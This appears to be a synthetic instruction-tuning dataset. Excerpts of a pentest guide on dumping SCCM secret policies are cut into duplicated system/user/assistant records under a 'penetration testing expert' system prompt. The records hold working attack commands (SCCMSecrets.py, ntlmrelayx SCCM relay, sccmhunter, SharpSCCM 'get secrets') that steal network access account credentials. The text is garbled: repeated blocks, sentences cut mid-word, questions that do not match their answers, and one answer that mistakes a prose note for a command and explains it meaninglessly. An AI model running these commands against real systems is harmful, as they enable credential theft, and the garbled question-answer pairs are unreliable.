#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IP
`

=== Windows-based

On Windows, SharpSCCM (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
`

:::

Instead of registering a new device, it is also possible to use an already compromised SCCM device in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collect


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do HTTPS with client certificate

[Assistant]
python3 SCCMSecrets.py policies -mp https://$MP_IP -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' --pki-cert ./cert.pem --pki-key ./key.pem
``

Note that if you do not provide machine account credentials, SCCMSecrets.py will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
`

Finally, this attack was first inspired by @xpn_'s work (refer to this blogpost). The tool associated with the blogpost, sccmwtf (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The sccmhunter (Python) tool also implements sccmwtf, but with the same limitations.
`bash
#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IP
`

=== Windows-based

On Windows, SharpSCCM (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
`

:::

Instead of registering a new device, it is also possible to use an already compromised SCCM device in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collect

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Show me how to do HTTPS with client certificate

Response:
python3 SCCMSecrets.py policies -mp https://$MP_IP -u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' --pki-cert ./cert.pem --pki-key ./key.pem
``

Note that if you do not provide machine account credentials, SCCMSecrets.py will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.
`bash
python3 examples/ntlmrelayx.py -t 'http://mecm.sccm.lab/ccm_system_windowsauth/request' -smb2support --sccm-policies -debug
`

Finally, this attack was first inspired by @xpn_'s work (refer to this blogpost). The tool associated with the blogpost, sccmwtf (Python), is available on Github. It can be used to perform the attack, however with two limitations: it will only dump the NAA secret policy, and it might fail on recent SCCM installations since the encryption algorithm changed.

The sccmhunter (Python) tool also implements sccmwtf, but with the same limitations.
`bash
#Create a new computer account and request the policies
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto

#To use an already controlled computer account
python3 sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -cn $COMPUTER_NAME -cp $COMPUTER_PASSWORD -dc-ip $DC_IP
`

=== Windows-based

On Windows, SharpSCCM (C#) can be used to register a device and dump secret policies. All secret policies associated with the default collections for the newly registered device (including NAAs, Task sequences and collection variables) will be dumped.

`powershell
.\SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
`

:::

Instead of registering a new device, it is also possible to use an already compromised SCCM device in order to dump secret policies. Note that this can also be interesting as the compromised device may be part of specific device collections associated with more task sequences or collect


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use Note for https with client certificate?

[Assistant]
Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use Note for https with client certificate?

Response:
Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for HTTPS with client certificate?

[Assistant]
Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for HTTPS with client certificate?

Response:
Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.

This attack is also possible via NTLM relay if you are able to relay the authentication data of a domain machine account.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.`?

[Assistant] This command is used for https with client certificate. HTTPS with client certificate

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Note that if you do not provide machine account credentials, `SCCMSecrets.py` will use the unauthenticated registration endpoint in order to attempt exploiting automatic device approval.`?

Response: This command is used for https with client certificate. HTTPS with client certificate